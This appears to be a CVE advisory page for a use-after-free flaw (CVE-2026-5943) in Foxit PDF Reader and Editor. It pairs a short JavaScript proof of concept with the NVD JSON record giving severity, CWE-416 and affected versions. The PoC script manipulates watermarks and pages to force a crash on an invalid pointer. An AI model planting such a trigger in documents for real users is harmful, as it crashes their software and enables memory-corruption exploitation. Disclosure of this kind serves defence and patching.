CVE-2026-5943

/* * PoC for CVE-2026-5943 * Trigger document structural anomaly and crash */ // Target the active PDF document var doc = this; // Loop to create structural inconsistencies for (var i = 0; i < 50; i++) { try { // Add and remove elements to confuse the internal index doc.addWatermarkFromText("Anomaly " + i, 0); if (doc.numPages > 1) { doc.deletePages(doc.numPages); } } catch(e) {} } // Trigger the crash by querying page info with corrupted index // This attempts to access an invalid pointer maintained by the app var invalidPage = doc.numPages + 10; var word = doc.getPageNthWord(invalidPage);

{"cve": {"id": "CVE-2026-5943", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2026-04-27T12:16:24.717", "lastModified": "2026-04-29T17:18:04.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Document structural anomalies caused inconsistencies between page element relationships and internal index states. When scripts triggered document modifications, object reference validity was not properly maintained, leading to a crash when accessing an invalid pointer during page information queries."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.2.4", "matchCriteriaId": "388A59F0-28A7-436B-BC75-C77E58F4ECDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0", "versionEndExcluding": "14.0.4", "matchCriteriaId": "6C4B8779-474C-43FC-B02E-3754BFAB2432"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.0.0", "versionEndExcluding": "2026.1.1", "matchCriteriaId": "D3D204C5-D29B-4341-B48E-6F634E41126E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.1.1", "matchCriteriaId": "C18DA4A1-62E6-4734-840D-B5280B765A9E"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}